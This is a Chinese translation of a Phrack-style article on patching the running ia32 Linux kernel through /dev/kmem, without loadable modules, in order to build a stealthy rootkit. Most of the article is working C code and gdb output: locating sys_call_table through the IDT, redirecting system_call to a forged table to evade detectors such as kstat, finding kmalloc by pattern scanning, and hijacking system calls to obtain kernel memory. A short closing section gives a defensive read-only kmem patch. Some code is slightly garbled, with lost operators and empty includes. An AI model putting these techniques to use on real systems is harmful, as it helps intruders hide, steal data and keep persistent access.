摘要 1.簡介 本文,作者將討論一個不使用LKM或者System.map來修改Linux內核(主要是系統調用)的方法,並利用這個技術實現了個rootkit 中文翻譯:nixe0n 1.簡介 開始,我們要感謝Silvio Cesare,是他在很久以前就實現了內核修改技術,本文的大部分想法都是竊取他的成果。 本文,我們將討論一個不使用LKM或者System.map來修改Linux內核(主要是系統調用)的方法,因此需要讀者了解什麼是LKM以及它們是如何加載的。如果對這些知識你好不太了解,請參考本文列舉的參考資料。 首先,我們設想一下,如果一個可憐的家伙進入了一個系統獲得了root權限,但是系統管理員非常精明,使用某些數據完整性檢測工具使攻擊者不能神不知鬼不覺地安裝自己修改過的木馬sshd,而且系統中根本就沒有安裝gcc等編譯器、開發庫和需要的頭文件(本該如此:P),使攻擊者無法編譯自己的LKM rookit。這可怎麼辦?本文將一步步地告訴你如何解決這個問題,另外在本文的結尾提供了完整的Linux-ia32 rootkit,在這個rootkit中實現了本文敘述的技術。(讀者可以到http://www.phrack.org獲得其源代碼--nixe0n) 本文講述的技術只能用於用於ia32架構。 2./dev/kmem是我們的朋友 mem是一個字符設備文件,是計算機主存的一個影象。它可以用於測試甚至修改系統。 未曾開始先來一段語錄:),來自Linux手冊頁(man mem) 有關修補運行中內核的技術細節請參考Silvio的大作run-time kernel patching,這裡只是簡要地介紹一個片段: 本文中,所有對內核空間的操作都是通過一個標准的Linux設備/dev/kmem。這個設備通常只有root用戶才有rw權限,因此只有root才能實現這些操作.注意:只是修改/dev/kmem的權限,無法讓普通用戶獲得對它的修改權限,因為即使虛擬文件系統允許普通用戶訪問/dev/kmem,內核還會對進程進行第二次檢查(在device/char/mem.c中),檢查進程是否具有CAP_SYS_RAWIO能力(capability)。 除/dev/kmem設備之外,/dev/mem也應該引起注意。這個設備表示在進行虛擬內存轉換之前的物理內存影象。如果我們知道了頁目錄的位置,通過這個設備也可能達到修改系統內核的目的。在本文中,我們不討論這種可能性。 在代碼中,針對/dev/kmem文件的讀、寫以及地址定位等操作分別使用標准的系統調用read()、write()和lseek()實現,非常簡單。下面是實現上述功能的函數: /* 從kmem中讀取數據 */ static inline int rkm(int fd, int offset, void *buf, int size) { if (lseek(fd, offset, 0) != offset) return 0; if (read(fd, buf, size) != size) return 0; return size; } /* 向kmem中寫入數據 */ static inline int wkm(int fd, int offset, void *buf, int size) { if (lseek(fd, offset, 0) != offset) return 0; if (write(fd, buf, size) != size) return 0; return size; } /* 從kmem讀出一個整數 */ static inline int rkml(int fd, int offset, ulong *buf) { return rkm(fd, offset, buf, sizeof(ulong)); } /* 向kmem寫入一個整數 */ static inline int wkml(int fd, int offset, ulong buf) { return wkm(fd, offset, &buf, sizeof(ulong)); } 3.替代系統調用 我們知道,從用戶空間的角度看,系統調用在Linux中,是最底層的系統函數,因此系統調用是我們最感興趣的東西。在Linux內核中,系統調用被集合到一個表中(sys_call_table),這是個一維數組,保存256個指針,使用系統調用號作為索引定位調用的入口點。僅此而已。 我們首先看一下下面這段偽代碼: /* as everywhere, "Hello world" is good for begginers ;-) */ /* 原來的系統調用 */ int (*old_write) (int, char *, int); /* 新系統調用處理函數 */ new_write(int fd, char *buf, int count) { if (fd == 1) { /* 標准輸出設備 ? */ old_write(fd, "Hello world! ", 13); return count; } else { return old_write(fd, buf, count); } } old_write = (void *) sys_call_table[__NR_write]; /* 保存舊的 */ sys_call_table[__NR_write] = (ulong) new_write; /* 設置新的 */ 這種類型的代碼在各種LKM型rootkit、tty劫持程序中經常遇到,我們可以通過這種方式修改sys_call_table[],而代碼通常是由/sbin/insmod(調用create_module() / init_module())導入內核的。 好了,到此為止,我們想這恐怕已經足夠了。 3.1.沒有LKM如何獲得sys_call_table[]的位置 首先,要注意一點,如果在編譯時不支持LKM,Linux內核將不會維護任何的符號信息。這是一個明智的選擇,不支持LKM,還有什麼使用這些信息的理由?為了調試?System.map可以用於調試。當然,我們需要這些符號信息:)。如果內核支持LKM,LKM需要的符號就會被導入它們的特定連接片段。但是,我們說過,不支持LKM,這怎麼辦? 據我們所知,要獲取sys_call_table[]的位置,最聰明的方式是這樣的: #include #include #include #include strUCt { unsigned short limit; unsigned int base; } __attribute__ ((packed)) idtr; struct { unsigned short off1; unsigned short sel; unsigned char none,flags; unsigned short off2; } __attribute__ ((packed)) idt; int kmem; void readkmem (void *m,unsigned off,int sz) { if (lseek(kmem,off,SEEK_SET)!=off) { perror("kmem lseek"); exit(2); } if (read(kmem,m,sz)!=sz) { perror("kmem read"); exit(2); } } #define CALLOFF 100 /* 我們將讀出int $0x80的頭100個字節 */ main () { unsigned sys_call_off; unsigned sct; char sc_asm[CALLOFF],*p; /* 獲得IDTR寄存器的值 */ asm ("sidt %0" : "=m" (idtr)); printf("idtr base at 0x%X ",(int)idtr.base); /* 打開kmem */ kmem = open ("/dev/kmem",O_RDONLY); if (kmem<0) return 1; /* 從IDT讀出0x80向量 (syscall) */ readkmem (&idt,idtr.base+8*0x80,sizeof(idt)); sys_call_off = (idt.off2 << 16) idt.off1; printf("idt80: flags=%X sel=%X off=%X ", (unsigned)idt.flags,(unsigned)idt.sel,sys_call_off); /* 尋找sys_call_table的地址 */ readkmem (sc_asm,sys_call_off,CALLOFF); p = (char*)memmem (sc_asm,CALLOFF,"xffx14x85",3); sct = *(unsigned*)(p+3); if (p) { printf ("sys_call_table at 0x%x, call dispatch at 0x%x ", sct, p); } close(kmem); } 下面我們解釋一下這段代碼是如何工作的。sidt[asm ("sidt %0" : "=m" (idtr));]指令能夠獲得中斷描述符表(interrupt descriptor table)的位置,從這條指令獲得指針中我們可以獲得int $0x80中斷描述符所在的位置[readkmem (&idt,idtr.base+8*0x80,sizeof(idt));]。 然後我們使用[sys_call_off = (idt.off2 << 16) idt.off1;]計算出int $0x80的入口點(system_call函數的地址)。但是,我們想知道的是sys_call_table[]的位置。我們先看一下system_call函數反匯編後的代碼。你如果使用自己編譯的內核,那麼每次編譯完成後,都會產生一個叫做vmlinux的文件。使用這個文件可以找出內核符號的地址。 [sd@pikatchu linux]$ gdb -q /usr/src/linux/vmlinux (no debugging symbols found)...(gdb) disass system_call Dump of assembler code for function system_call: 0xc0106bc8 : push %eax 0xc0106bc9 : cld 0xc0106bca : push %es 0xc0106bcb : push %ds 0xc0106bcc : push %eax 0xc0106bcd : push %ebp 0xc0106bce : push %edi 0xc0106bcf : push %esi 0xc0106bd0 : push %edx 0xc0106bd1 : push %ecx 0xc0106bd2 : push %ebx 0xc0106bd3 : mov $0x18,%edx 0xc0106bd8 : mov %edx,%ds 0xc0106bda : mov %edx,%es 0xc0106bdc : mov $0xffffe000,%ebx 0xc0106be1 : and %esp,%ebx 0xc0106be3 : cmp $0x100,%eax 0xc0106be8 : jae 0xc0106c75 0xc0106bee : testb $0x2,0x18(%ebx) 0xc0106bf2 : jne 0xc0106c48 0xc0106bf4 : call *0xc01e0f18(,%eax,4) <-- 就是它 0xc0106bfb : mov %eax,0x18(%esp,1) 0xc0106bff : nop End of assembler dump. (gdb) print &sys_call_table $1 = ( *) 0xc01e0f18 <-- 看到了嗎?一樣 (gdb) x/xw (system_call+44) 0xc0106bf4 : 0x188514ff <-- 機器指令 (little endian) (gdb) 從上面的試驗可以看出,只要找到鄰近int $0x80入口點system_call的call sys_call_table(,eax,4)指令的機器指令就可以了。而且,各種x86架構的Linux內核(至少從2.0.10到2.4.10是如此)基本都是通過這條指令來傳遞系統調用的。call something<,eax,4)指令的機器碼是0xff 0x14 0x85 0x調用地址,因此我們可以使用模式匹配的方式獲得條指令的地址: memmem (sc_asm,CALLOFF,"xffx14x85",3); /*從system_call的位置開始搜索*/ 除了這種方法,可能存在更為健壯的處理方式。這裡我們只是簡單地獲得int $0x80處理函數中某條簡單指令的地址。如果考慮內核的重入性問題,就復雜了。 到此為止,我們獲得了sys_call_table[]的位置,這樣我們就可以修改某些系統調用的地址了,下面是相關的偽代碼: readkmem(&old_write, sct + __NR_write * 4, 4); /* 保存舊的系統調用 */ writekmem(new_write, sct + __NR_write * 4, 4); /* 設置新的系統調用 */ 3.2.修改system_call的調用地址 在撰寫本文時,我們在Packetstorm/Freshmeat發現了一些所謂的rootkit檢測器。它們能夠檢測LKM、系統調用表和內核其它部分的錯誤。不過幸運的是,絕大多數此類工具都非常愚蠢,只要略施小計就可以騙過它們,請參考文獻[6],綠色兵團的大鷹也有一篇討論這項技術的文章。我們建立一個新的系統調用表,根本不修改原來的sys_call_table[]數組裡面的任何內容,然後把system_call函數的調用地址修改為新的系統調用表就可以了。這樣,那些通過檢查系統調用實現函數的地址的rootkit檢測工具(例如:kstat)就根本無法察覺系統調用已經被修改了,因為我們根本就沒有修改過sys_call_table[]裡面的任何東西,只是將其廢棄不用而已。具體過程可以使用如下偽代碼描述: ulong sct = addr of sys_call_table[] char *p = ptr to int 0x80's call sct(,eax,4) - dispatch ulong nsct[256] = new syscall table with modified entries readkmem(nsct, sct, 1024); /* read old */ old_write = nsct[__NR_write]; nsct[__NR_write] = new_write; /* 使用我們自己的系統調用表 */ writekmem((ulong) p+3, nsct, 4); /* Note that this code never can work, because you can't redirect something kernel related to userspace, such as sct[] in this case */ 在這段代碼中,我們建立了sys_call_table[]的一個拷貝[readkmem(nsct, sct,1024);],然後保存並修改我們感興趣的調用入口[old_write = nsct[__NR_write]; nsct[__NR_write] = new_write;],接著只要修改system_call函數中call <地址>(,eax,4)指令調用的地址,就可以實現系統調用的重定向: 0xc0106bf4 : call *0xc01e0f18(,%eax,4) ~~~~~~~~~ __ 這就是我們自己的系統調用表地址 LKM檢測工具一般不會檢查system_call函數的內容(以後很可能會的),因此根本無法察覺,sys_call_table[]還在那裡,我們沒有做任何的修改,只是system_call函數已經不再用它了:)。 4.獲得內核空間的內存 下面,我們要做的就是獲得地址在0xc0000000或者0x80000000以上的內存,0xc0000000是用戶內存空間和內核內存空間的邊界,用戶進程無法訪問地址高於0x80000000的內存地址,即使是root用戶也不行。那麼,我們又該怎麼做呢?別著急,讓我們首先看看支持LKM的內核是怎麼做的(/usr/src/linux/kernel/module.c); void inter_module_register(const char *im_name, struct module *owner, const void *userdata) { struct list_head *tmp; struct inter_module_entry *ime, *ime_new; if (!(ime_new = kmalloc(sizeof(*ime), GFP_KERNEL))) { /* Overloaded kernel, not fatal */ ... 不出我們所料,它們使用kmalloc(size, GFP_KERNEL)函數來分配內核空間的內存。但是,我們不能使用kmalloc()函數,因為: 我們不知道kmalloc()函數的地址 我們不知道GFP_KERNEL的值 我們不能在用戶空間調用kmalloc()函數 4.1.如果有LKM支持如何獲得kmalloc()的地址 如果系統提供LKM支持,可以使用如下代碼找到kmalloc函數的地址: ulong get_sym(char *n) { struct kernel_sym tab[MAX_SYMS]; int numsyms; int i; numsyms = get_kernel_syms(NULL); if (numsyms > MAX_SYMS' 'numsyms < 0) return 0; get_kernel_syms(tab); for (i = 0; i < numsyms; i++) { if (!strncmp(n, tab[i].name, strlen(n))) return tab[i].value; } return 0; } ulong get_kma(ulong pgoff) { ret = get_sym("kmalloc"); if (ret) return ret; return 0; } 這段代碼我們就不多做說明了。 4.2.通過模式匹配搜索kmalloc()函數的地址 但是,如果內核沒有提供LKM支持,將使我們陷入困境。而且,這個問題的解決方法非常髒,也不是很好,但是看來還有效。我們將遍歷內核的.text段,對如下指令進行模式查詢: push GFP_KERNEL push size call kmalloc 然後,把搜索結果收集到一個表中排序,出現次數最多的就是kmalloc()函數地址,下面是實現代碼: #define RNUM 1024 ulong get_kma(ulong pgoff) { struct { uint a,f,cnt; } rtab[RNUM], *t; uint i, a, j, push1, push2; uint found = 0, total = 0; uchar buf[0x10010], *p; int kmem; ulong ret; /* 在使用我們自己的方式之前,試一下正確的方法是否可行 */ ret = get_sym("kmalloc"); if (ret) return ret; /* humm, no way ;)) */ kmem = open(KMEM_FILE, O_RDONLY, 0); if (kmem < 0) return 0; for (i = (pgoff + 0x100000); i < (pgoff + 0x1000000); i += 0x10000) { if (!loc_rkm(kmem, buf, i, sizeof(buf))) return 0; /* 尋找push和call指令 */ for (p = buf; p < buf + 0x10000;) { switch (*p++) { case 0x68: push1 = push2; push2 = *(unsigned*)p; p += 4; continue; case 0x6a: push1 = push2; push2 = *p++; continue; case 0xe8: if (push1 && push2 && push1 <= 0xffff && push2 <= 0x1ffff) break; default: push1 = push2 = 0; continue; } /* 我們獲得了push1/push2/call序列,再尋找地址 */ a = *(unsigned *) p + i + (p - buf) + 4; p += 4; total++; /* 在表中找 */ for (j = 0, t = rtab; j < found; j++, t++) if (t->a == a && t->f == push1) break; if (j < found) t->cnt++; else if (found >= RNUM) { return 0; } else { found++; t->a = a; t->f = push1; t->cnt = 1; } push1 = push2 = 0; } /* for (p = buf; ... */ } /* for (i = (pgoff + 0x100000) ...*/ close(kmem); t = NULL; for (j = 0;j < found; j++) /* find a winner */ if (!t' 'rtab[j].cnt > t->cnt) t = rtab+j; if (t) return t->a; return 0; } 這個代碼只是一個簡單的state machine,它沒有考慮由某些GCC編譯選項造成的匯編代碼布局的差異。修改switch的選項,可以把它用於其它代碼模式的搜索。並且如果增加對GFP值的查詢,可以增加其准確程度。 這個代碼的精確度能夠達到大約80%左右,並且可以廣泛地用於2.2.1->2.4.13的內核。 4.3.GFP_KERNEL的值 我們將要遇到的下一個問題是GFP_KERNEL的值在每個內核系列中是不同的,這個問題可以通過uname()函數解決。 +-----------------------------------+ kernel version GFP_KERNEL value +----------------+------------------+ 1.0.x .. 2.4.5 0x3 +----------------+------------------+ 2.4.6 .. 2.4.x 0x1f0 +----------------+------------------+ 注意:在2.4.7-2.4.9的內核中,有時會因為錯誤的GFP_KERNEL造成調用不成功。 代碼: #define NEW_GFP 0x1f0 #define OLD_GFP 0x3 /* uname struc */ struct un { char sysname[65]; char nodename[65]; char release[65]; char version[65]; char machine[65]; char domainname[65]; }; int get_gfp() { struct un s; uname(&s); if ((s.release[0] == '2') && (s.release[2] == '4') && (s.release[4] >= '6' (s.release[5] >= '0' && s.release[5] <= '9'))) { return NEW_GFP; } return OLD_GFP; } 4.4.覆蓋系統調用 我們前面說過,我們不能直接從用戶空間調用kmalloc()函數,這個問題可以從Silvio的文章中找到答案[參考文獻2]。 獲得某些系統調用實現的地址(IDT -> int 0x80 -> sys_call_table)。 建立一個例程調用kmalloc()函數並返回一個內存指針。 由於某個系統調用要被覆蓋,因此我們需要保存將被覆蓋掉的內容。 使用我們自己的例程覆蓋原來的系統調用實現。 通過int $0x80在用戶空間調用這個系統調用,這個例程就會把獲得的內存指針返回給我們。 利用3.保存的內容恢復原來的系統調用。 我們自己的系統調用如下: struct kma_struc { ulong (*kmalloc) (uint, int); int size; int flags; ulong mem; } __attribute__ ((packed)); int our_routine(struct kma_struc *k) { k->mem = k->kmalloc(k->size, k->flags); return 0; } 現在,我們獲得了內核空間的內存,可以把我們自己的系統調用實現復制到這塊內存中,然後修改偽造的sys_call_table數組,偽造系統調用的入口。 5.一些需要注意的事項 在使用這個技術時,最好能夠注意以下事項: 注意內核的版本(我們是指GFP_KERNEL)。 如果想是其能夠用於不同的內核,最好只修改系統調用,不要涉及到其它的任何內核數據結構包括tash_struct。 這個技術用於SMP可能造成一些麻煩,注意內核的重入問題,在需要的地方使用用戶空間的鎖。 6.可能的解決方法 好了,現在我們站在一個好人的角度上,看看怎樣才能防止這種攻擊。使用下面的補丁,把/dev/kmem設備的屬性改為只讀,並且取消LKM支持可以解決這個問題。 <++> kmem-ro.diff --- /usr/src/linux/drivers/char/mem.c Mon Apr 9 13:19:05 2001 +++ /usr/src/linux/drivers/char/mem.c Sun Nov 4 15:50:27 2001 @@ -49,6 +51,8 @@ const char * buf, size_t count, loff_t *ppos) { ssize_t written; + /* disable kmem write */ + return -EPERM; written = 0; #if defined(__sparc__)' 'defined(__mc68000__) <--> 注意:這個補丁可能造成一些需要寫/dev/kmem內核權限的應用程序無法正常運行,不過,為了安全這是值得的。 7.結論 Linux的內存設備看起來非常強大,但是攻擊者同樣可以使用這些設備來長時間地隱藏自己的行為,竊取信息,保證自己的遠程訪問權限,而不被發現。我們所知,這些設備並沒有太大用處,因此關閉對它們進行寫操作的能力是個好注意。